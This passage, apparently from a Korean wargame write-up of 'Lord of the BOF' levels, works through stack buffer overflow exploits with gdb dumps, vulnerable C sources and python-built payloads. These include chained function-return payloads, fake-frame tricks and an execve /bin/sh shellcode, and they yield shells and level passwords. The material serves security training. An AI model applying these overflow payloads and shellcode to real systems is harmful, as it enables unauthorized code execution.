0x804848a <main+74>: lea 0x0(%esi),%esi 0x8048490 <main+80>: mov 0xc(%ebp),%eax 0x8048493 <main+83>: add $0x4,%eax 0x8048496 <main+86>: mov (%eax),%edx 0x8048498 <main+88>: add $0x2f,%edx 0x804849b <main+91>: cmpb $0x40,(%edx) 0x804849e <main+94>: jne 0x80484b7 <main+119> 0x80484a0 <main+96>: push $0x8048561 0x80484a5 <main+101>: call 0x8048354 <printf> 0x80484aa <main+106>: add $0x4,%esp 0x80484ad <main+109>: push $0x0 0x80484af <main+111>: call 0x8048364 <exit> ---Type <return> to continue, or q <return> to quit--- 0x80484b4 <main+116>: add $0x4,%esp 0x80484b7 <main+119>: push $0x30 0x80484b9 <main+121>: mov 0xc(%ebp),%eax 0x80484bc <main+124>: add $0x4,%eax 0x80484bf <main+127>: mov (%eax),%edx 0x80484c1 <main+129>: push %edx 0x80484c2 <main+130>: lea 0xffffffd8(%ebp),%eax 0x80484c5 <main+133>: push %eax 0x80484c6 <main+134>: call 0x8048374 <strncpy> 0x80484cb <main+139>: add $0xc,%esp 0x80484ce <main+142>: lea 0xffffffd8(%ebp),%eax 0x80484d1 <main+145>: push %eax 0x80484d2 <main+146>: push $0x804857e 0x80484d7 <main+151>: call 0x8048354 <printf> 0x80484dc <main+156>: add $0x8,%esp 0x80484df <main+159>: leave 0x80484e0 <main+160>: ret 0x80484e1 <main+161>: nop 0x80484e2 <main+162>: nop 0x80484e3 <main+163>: nop 0x80484e4 <main+164>: nop 0x80484e5 <main+165>: nop 0x80484e6 <main+166>: nop 0x80484e7 <main+167>: nop 0x80484e8 <main+168>: nop 0x80484e9 <main+169>: nop 0x80484ea <main+170>: nop 0x80484eb <main+171>: nop 0x80484ec <main+172>: nop 0x80484ed <main+173>: nop 0x80484ee <main+174>: nop 0x80484ef <main+175>: nop End of assembler dump. - 50 -
(gdb) q [assassin@localhost assassin]$./kombie_assassin $(python -c 'print "\xd6\xfe\xff\xbf"+"\x90"*36+"\xef\xbe \xad\xde"+"\xdf\x84\x04\x08"') 蓼? 絶泗 ꠓ Segmentation fault (core dumped) leave instruction을넣어주고덤프된코어를까봅니다. [assassin@localhost assassin]$ gdb -q kombie_assassin core Core was generated by `./kombie_assassin 蓼? 絶泗 '. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x80484df in main () (gdb) x/x $esp 0xbffff9f0: 0x00000002 (gdb) x/120bx 0xbffff9f0 0xbffff9f0: 0x02 0x00 0x00 0x00 0x34 0xfa 0xff 0xbf 0xbffff9f8: 0x40 0xfa 0xff 0xbf 0x68 0x38 0x01 0x40 0xbffffa00: 0x02 0x00 0x00 0x00 0x90 0x83 0x04 0x08 0xbffffa08: 0x00 0x00 0x00 0x00 0xb1 0x83 0x04 0x08 0xbffffa10: 0x40 0x84 0x04 0x08 0x02 0x00 0x00 0x00 0xbffffa18: 0x34 0xfa 0xff 0xbf 0xe4 0x82 0x04 0x08 0xbffffa20: 0x1c 0x85 0x04 0x08 0x60 0xae 0x00 0x40 0xbffffa28: 0x2c 0xfa 0xff 0xbf 0x90 0x3e 0x01 0x40 0xbffffa30: 0x02 0x00 0x00 0x00 0x42 0xfb 0xff 0xbf 0xbffffa38: 0x54 0xfb 0xff 0xbf 0x00 0x00 0x00 0x00 0xbffffa40: 0x85 0xfb 0xff 0xbf 0x98 0xfb 0xff 0xbf 0xbffffa48: 0xb1 0xfb 0xff 0xbf 0xd0 0xfb 0xff 0xbf 0xbffffa50: 0xf2 0xfb 0xff 0xbf 0x00 0xfc 0xff 0xbf 0xbffffa58: 0xc3 0xfd 0xff 0xbf 0xe2 0xfd 0xff 0xbf 0xbffffa60: 0x00 0xfe 0xff 0xbf 0x15 0xfe 0xff 0xbf ====== 중 = 략 ====== 0xbffffae0: 0x03 0x02 0x00 0x00 0x0c 0x00 0x00 0x00 0xbffffae8: 0x03 0x02 0x00 0x00 0x0d 0x00 0x00 0x00 0xbffffaf0: 0x03 0x02 0x00 0x00 0x0e 0x00 0x00 0x00 0xbffffaf8: 0x03 0x02 0x00 0x00 0x10 0x00 0x00 0x00 0xbffffb00: 0xff 0xfb 0xeb 0x0f 0x0f 0x00 0x00 0x00 0xbffffb08: 0x3d 0xfb 0xff 0xbf 0x00 0x00 0x00 0x00 0xbffffb10: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb20: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb28: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb38: 0x00 0x00 0x00 0x00 0x00 0x69 0x36 0x38 0xbffffb40: 0x36 0x00 0x2e 0x2f 0x6b 0x6f 0x6d 0x62 0xbffffb48: 0x69 0x65 0x5f 0x61 0x73 0x73 0x61 0x73-51 -
0xbffffb50: 0x73 0x69 0x6e 0x00 0xd6 0xfe 0xff 0xbf (gdb) 0xbffffb58: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffb60: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffb68: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffb70: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffffb78: 0x90 0x90 0x90 0x90 0xef 0xbe 0xad 0xde 0xbffffb80: 0xdf 0x84 0x04 0x08 0x00 0x50 0x57 0x44 0xbffffb88: 0x3d 0x2f 0x68 0x6f 0x6d 0x65 0x2f 0x61 0xbffffb90: 0x73 0x73 0x61 0x73 0x73 0x69 0x6e 0x00 0xbffffb98: 0x52 0x45 0x4d 0x4f 0x54 0x45 0x48 0x4f 0xbffffba0: 0x53 0x54 0x3d 0x31 0x39 0x32 0x2e 0x31 0xbffffba8: 0x36 0x38 0x2e 0x31 0x33 0x37 0x2e 0x31 0xbffffbb0: 0x00 0x48 0x4f 0x53 0x54 0x4e 0x41 0x4d 0xbffffbb8: 0x45 0x3d 0x6c 0x6f 0x63 0x61 0x6c 0x68 0xbffffbc0: 0x6f 0x73 0x74 0x2e 0x6c 0x6f 0x63 0x61 0xbffffbc8: 0x6c 0x64 0x6f 0x6d 0x61 0x69 0x6e 0x00 (gdb) q 엔터 3번눌렀더니넣어줬던 0xbffffed6과 nop가보입니다. 리턴주소로쓸부분에서 4를뺀값을 ebp에넣어줍니다. [assassin@localhost assassin]$./kombie_assassin $(python -c 'print "\xd6\xfe\xff\xbf"+"\x90"*36+"\x50\xfb \xff\xbf"+"\xdf\x84\x04\x08"') 蓼?P? 욀ꠓ bash$ ok;exit sh: ok: command not found exit 잘됩니다. 이제원본에시도하죠. [assassin@localhost assassin]$./zombie_assassin $(python -c 'print "\xd6\xfe\xff\xbf"+"\x90"*36+"\x50\xfb \xff\xbf"+"\xdf\x84\x04\x08"') 蓼?P? 욀ꠓ bash$ whoami;id;my-pass; zombie_assassin uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassi n) euid = 516 no place to hide 0x11 zombie_assassin login: zombie_assassin Password: Last login: Wed Mar 14 19:52:08 from 192.168.137.1 [zombie_assassin@localhost zombie_assassin]$ cat succubus.c /* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously - 52 -
*/ #include <stdio.h> #include <stdlib.h> // the inspector int check = 0; void MO(char *cmd) if(check!= 4) printf("welcome to the MO!\n"); // olleh! system(cmd); void YUT(void) if(check!= 3) printf("welcome to the YUT!\n"); check = 4; void GUL(void) if(check!= 2) printf("welcome to the GUL!\n"); check = 3; void GYE(void) if(check!= 1) printf("welcome to the GYE!\n"); check = 2; - 53 -
void DO(void) printf("welcome to the DO!\n"); check = 1; main(int argc, char *argv[]) char buffer[40]; char *addr; if(argc < 2) printf("argv error\n"); // you cannot use library if(strchr(argv[1], '\x40')) printf("you cannot use library\n"); // check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4)!= 0) printf("you must fall in love with DO\n"); // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); 소스가상당히기네요. ret이후의 100Byte만사용남겨두고 0으로덮습니다. 주석대로함수를연속해서호출해야합니다. DO, GYE, GUL, YUT, MO 순서대로호출하여 check를증가시킵니다. 모까지호출하면드디어인자를입력받습니다. 하지만쉘이있는곳의주소를줘야되는데라이브러리영역은사용불가능하고환경변수도초기화되므로남은영역인스택에직접값을넣어주고리턴주소를잡아야합니다. - 54 -
그럼 nm 명령어를이용해서함수들의주소를확인해보겠습니다. [zombie_assassin@localhost zombie_assassin]$ nm succubus 080487ec T DO 0804878c T GUL 080487bc T GYE 08048724 T MO 0804875c T YUT 08049ae4? _DYNAMIC 08049aa8? _GLOBAL_OFFSET_TABLE_ 08048984 R _IO_stdin_used 08049a9c? CTOR_END 08049a98? CTOR_LIST 08049aa4? DTOR_END 08049aa0? DTOR_LIST 08049a94? EH_FRAME_BEGIN 08049a94? FRAME_END 08049b84 A bss_start 08049a84 D data_start w deregister_frame_info@@glibc_2.0 08048920 t do_global_ctors_aux 080484c0 t do_global_dtors_aux w gmon_start U libc_start_main@@glibc_2.0 w register_frame_info@@glibc_2.0 08049b84 A _edata 08049b9c A _end 0804894c A _etext 0804894c? _fini U _fp_hw 0804839c? _init 08048490 T _start 08049a90 D check 08049a8c d completed.3 08049a84 W data_start 08048584 T dumpcode U exit@@glibc_2.0 08048508 t fini_dummy 08049a90 d force_to_data 08049a94 d force_to_data 08048510 t frame_dummy 080484b4 t gcc2_compiled. 080484c0 t gcc2_compiled. 08048920 t gcc2_compiled. 0804894c t gcc2_compiled. 08048540 t gcc2_compiled. 08048530 t init_dummy - 55 -
08048944 t init_dummy U isprint@@glibc_2.0 08048808 T main U memcmp@@glibc_2.0 U memset@@glibc_2.0 08049b84 b object.8 08049a88 d p.2 08048540 T printchar U printf@@glibc_2.0 U strchr@@glibc_2.0 U strcpy@@glibc_2.0 U system@@glibc_2.0 구한주소를넣어봅시다. -페이로드 [nop 44]+[DO addr]+[gye addr]+[gul addr]+[yut addr]+[mo addr][dummy 4][ret 4][/bin/sh] [zombie_assassin@localhost zombie_assassin]$./succubus "$(python -c 'print "\x90"*44+"\xec\x87\x04\x08 \xbc\x87\x04\x08\x8c\x87\x04\x08\x5c\x87\x04\x08\x24\x87\x04\x08"+"duuu"+"\x94\xfa\xff\xbf"+"bash"')"??\$duuu??ash welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! sh:??ash: command not found Segmentation fault 사본을만들어서정확한주소를봐야겠습니다. [zombie_assassin@localhost zombie_assassin]$ cp succubus ssccubus [zombie_assassin@localhost zombie_assassin]$ ///bin/sh bash$ exit exit 앞에서삽질 ( 생략됨 ) 을좀했는데뒤에 0x00( 널 ) 이없어서자꾸안된것같습니다. 그러므로 /bin/sh다음에바로널이오는구간을찾아서이용해보겠습니다. [zombie_assassin@localhost zombie_assassin]$./ssccubus "$(python -c 'print "\x90"*44+"\xec\x87\x04\x08 \xbc\x87\x04\x08\x8c\x87\x04\x08\x5c\x87\x04\x08\x24\x87\x04\x08"+"dddd"+"\xa9\xfa\xff\xbf"+"///bin/s h"')"??\$ddddⁿ? //bin/sh welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! sh: unexpected EOF while looking for ``' sh: -c: line 2: syntax error Segmentation fault (core dumped) - 56 -
[zombie_assassin@localhost zombie_assassin]$ gdb -q ssccubus core Core was generated by ` '. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x64646464 in?? () (gdb) x/120bx 0xbffffaa8 0xbffffaa8: 0xc4 0xfa 0xff 0xbf 0x9c 0x83 0x04 0x08 0xbffffab0: 0x4c 0x89 0x04 0x08 0x60 0xae 0x00 0x40 0xbffffab8: 0xbc 0xfa 0xff 0xbf 0x90 0x3e 0x01 0x40 0xbffffac0: 0x02 0x00 0x00 0x00 0xbd 0xfb 0xff 0xbf 0xbffffac8: 0xc8 0xfb 0xff 0xbf 0x00 0x00 0x00 0x00 0xbffffad0: 0x1a 0xfc 0xff 0xbf 0x34 0xfc 0xff 0xbf 0xbffffad8: 0x4d 0xfc 0xff 0xbf 0x6c 0xfc 0xff 0xbf 0xbffffae0: 0x8e 0xfc 0xff 0xbf 0x00 0x00 0x00 0x00 0xbffffae8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffaf0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffaf8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb00: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb08: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb10: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb18: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 (gdb) x/120bx 0xbffffaa8-10 0xbffffa9e: 0x2f 0x73 0x68 0x00 0x04 0x08 0x02 0x00 0xbffffaa6: 0x00 0x00 0xc4 0xfa 0xff 0xbf 0x9c 0x83 0xbffffaae: 0x04 0x08 0x4c 0x89 0x04 0x08 0x60 0xae 0xbffffab6: 0x00 0x40 0xbc 0xfa 0xff 0xbf 0x90 0x3e 0xbffffabe: 0x01 0x40 0x02 0x00 0x00 0x00 0xbd 0xfb 0xbffffac6: 0xff 0xbf 0xc8 0xfb 0xff 0xbf 0x00 0x00 0xbfffface: 0x00 0x00 0x1a 0xfc 0xff 0xbf 0x34 0xfc 0xbffffad6: 0xff 0xbf 0x4d 0xfc 0xff 0xbf 0x6c 0xfc 0xbffffade: 0xff 0xbf 0x8e 0xfc 0xff 0xbf 0x00 0x00 0xbffffae6: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffaee: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffaf6: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffafe: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb06: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb0e: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 (gdb) q [zombie_assassin@localhost zombie_assassin]$./succubus "$(python -c 'print "\x90"*44+"\xec\x87\x04\x08 \xbc\x87\x04\x08\x8c\x87\x04\x08\x5c\x87\x04\x08\x24\x87\x04\x08"+"dddd"+"\x9e\xfa\xff\xbf"+"///bin/s h"')"??\$dddd??//bin/sh welcome to the DO! welcome to the GYE! - 57 -
welcome to the GUL! welcome to the YUT! welcome to the MO! sh: /sh: No such file or directory \x2f를보고저는 /bin/sh의시작점인줄알았는데다시보니 /sh 부분입니다. 주소에서 4를빼주거나 / 를추가합니다. Segmentation fault 곧바로원본에시도하겠습니다. [zombie_assassin@localhost zombie_assassin]$./succubus "$(python -c 'print "\x90"*44+"\xec\x87\x04\x08 \xbc\x87\x04\x08\x8c\x87\x04\x08\x5c\x87\x04\x08\x24\x87\x04\x08"+"dddd"+"\x9e\xfa\xff\xbf"+"///////b in/sh"')"??\$dddd??//////bin/sh welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! bash$ whoami;id;my-pass succubus uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zom bie_assassin) euid = 517 here to stay 쉘코드를이용해서풀수도있습니다. nop44에 DO, GYE, GUL, YUT, MO를호출해도 64byte밖에안되기때문에뒤에버퍼뒤쪽에쉘코드를넣을공간이충분히남아있습니다. system함수의리턴주소에쉘코드의주소를넣고호출합니다. 이전과다르게더미를시스템함수의인자로넣어줍니다. [...]+[MO addr]+[ret 4]+[dummy 4]+[nop+shellcode] [zombie_assassin@localhost zombie_assassin]$./ssccubus "$(python -c 'print "\x90"*44+"\xec\x87\x04\x08 \xbc\x87\x04\x08\x8c\x87\x04\x08\x5c\x87\x04\x08\x24\x87\x04\x08"+"shel"+"ffff"+"\x90"*4+"\x31\xc0\x50 \x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')"??\$shelffff 1?h//shh/bin?S? 것 welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! Segmentation fault (core dumped) [zombie_assassin@localhost zombie_assassin]$ gdb -q ssccubus core Core was generated by ` '. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x6c656873 in?? () (gdb) x/120bx $esp - 58 -
0xbffffa94: 0x66 0x66 0x66 0x66 0x90 0x90 0x90 0x90 0xbffffa9c: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0xbffffaa4: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50 0xbffffaac: 0x53 0x89 0xe1 0x99 0xb0 0x0b 0xcd 0x80 0xbffffab4: 0x00 0xae 0x00 0x40 0xbc 0xfa 0xff 0xbf 0xbffffabc: 0x90 0x3e 0x01 0x40 0x02 0x00 0x00 0x00 0xbffffac4: 0xb6 0xfb 0xff 0xbf 0xc1 0xfb 0xff 0xbf 0xbffffacc: 0x00 0x00 0x00 0x00 0x26 0xfc 0xff 0xbf 0xbffffad4: 0x40 0xfc 0xff 0xbf 0x5f 0xfc 0xff 0xbf 0xbffffadc: 0x81 0xfc 0xff 0xbf 0x96 0xfc 0xff 0xbf 0xbffffae4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffaec: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffaf4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffafc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbffffb04: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 (gdb) q 주소를알았으니곧장원본에시도하면.. [zombie_assassin@localhost zombie_assassin]$./succubus "$(python -c 'print "\x90"*44+"\xec\x87\x04\x08 \xbc\x87\x04\x08\x8c\x87\x04\x08\x5c\x87\x04\x08\x24\x87\x04\x08"+"\x9c\xfa\xff\xbf"+"ffff"+"\x90"*4+" \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')"??\$??fff 1?h//shh/bin?S? 것 welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! bash$ whoami;id;my-pass succubus uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zom bie_assassin) euid = 517 here to stay bash$ exit exit 0x12 succubus login: succubus Password: Last login: Thu Mar 15 11:12:32 from 192.168.137.1 [succubus@localhost succubus]$ cat nightmare.c /* The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT - 59 -
*/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dumpcode.h> main(int argc, char *argv[]) char buffer[40]; char *addr; if(argc < 2) printf("argv error\n"); // check address addr = (char *)&strcpy; if(memcmp(argv[1]+44, &addr, 4)!= 0) printf("you must fall in love with strcpy()\n"); // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // dangerous waterfall memset(buffer+40+8, 'A', 4); 소스를보니 strcpy함수로리턴하라고합니다. strcpy() 함수는이곳에서자세히알아볼수있습니다. - 60 -